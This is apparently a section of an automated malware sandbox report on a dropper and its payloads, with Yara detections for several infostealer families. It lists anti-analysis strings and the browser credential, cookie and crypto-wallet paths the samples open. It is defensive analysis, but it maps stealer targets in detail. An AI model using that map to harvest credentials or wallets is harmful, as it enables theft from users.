Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017011001\9faa981582.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017013001\9267e9145a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017015001\12379a76ea.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017014001\40e7dddffe.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0012CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0012CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00BC2517 GetTimeZoneInformation,

6_2_00BC2517

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OllyDbg.exe
Source: fba63623fe.exe, 0000000C.00000002.3170670189.00000000011BE000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3268433937.000000000351F000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3263094653.0000000000BA2000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3262906350.000000000351C000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3269000565.0000000003522000.00000004.00000800.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3263198896.0000000000C16000.00000004.00000020.00020000.00000000.sdmp, 37179ed0b8.exe, 00000017.00000003.3263094653.0000000000BAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000E.00000002.2917778934.0000000003100000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: regmon.exe

Source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.110000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.2060964574.0000000004890000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2030253882.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2101951390.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2103555649.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2646347241.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2060455777.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 37179ed0b8.exe PID: 7240, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 7.2.fba63623fe.exe.3d094e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.fba63623fe.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.fba63623fe.exe.3cc3198.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.fba63623fe.exe.3d094e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2800245630.0000000003CA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe, type: DROPPED

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000000D.00000003.2896849334.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2902463991.0000000000BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2906192024.0000000005490000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2917910047.0000000003200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected zgRAT

Source: Yara match

File source: 7.2.fba63623fe.exe.3cc3198.2.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: fba63623fe.exe, 0000000C.00000002.3170670189.00000000011C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: fba63623fe.exe, 0000000C.00000002.3170670189.00000000011C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: fba63623fe.exe, 0000000C.00000002.3170670189.00000000011C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: fba63623fe.exe, 0000000C.00000002.3170670189.00000000011C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 37179ed0b8.exe, 00000017.00000003.3217409529.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 37179ed0b8.exe, 00000017.00000003.3217523414.0000000000B9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: fba63623fe.exe, 0000000C.00000002.3170670189.00000000011C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 37179ed0b8.exe, 00000017.00000002.3272517135.0000000000B6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: fba63623fe.exe, 00000007.00000000.2789122480.0000000000572000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: cryptoKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
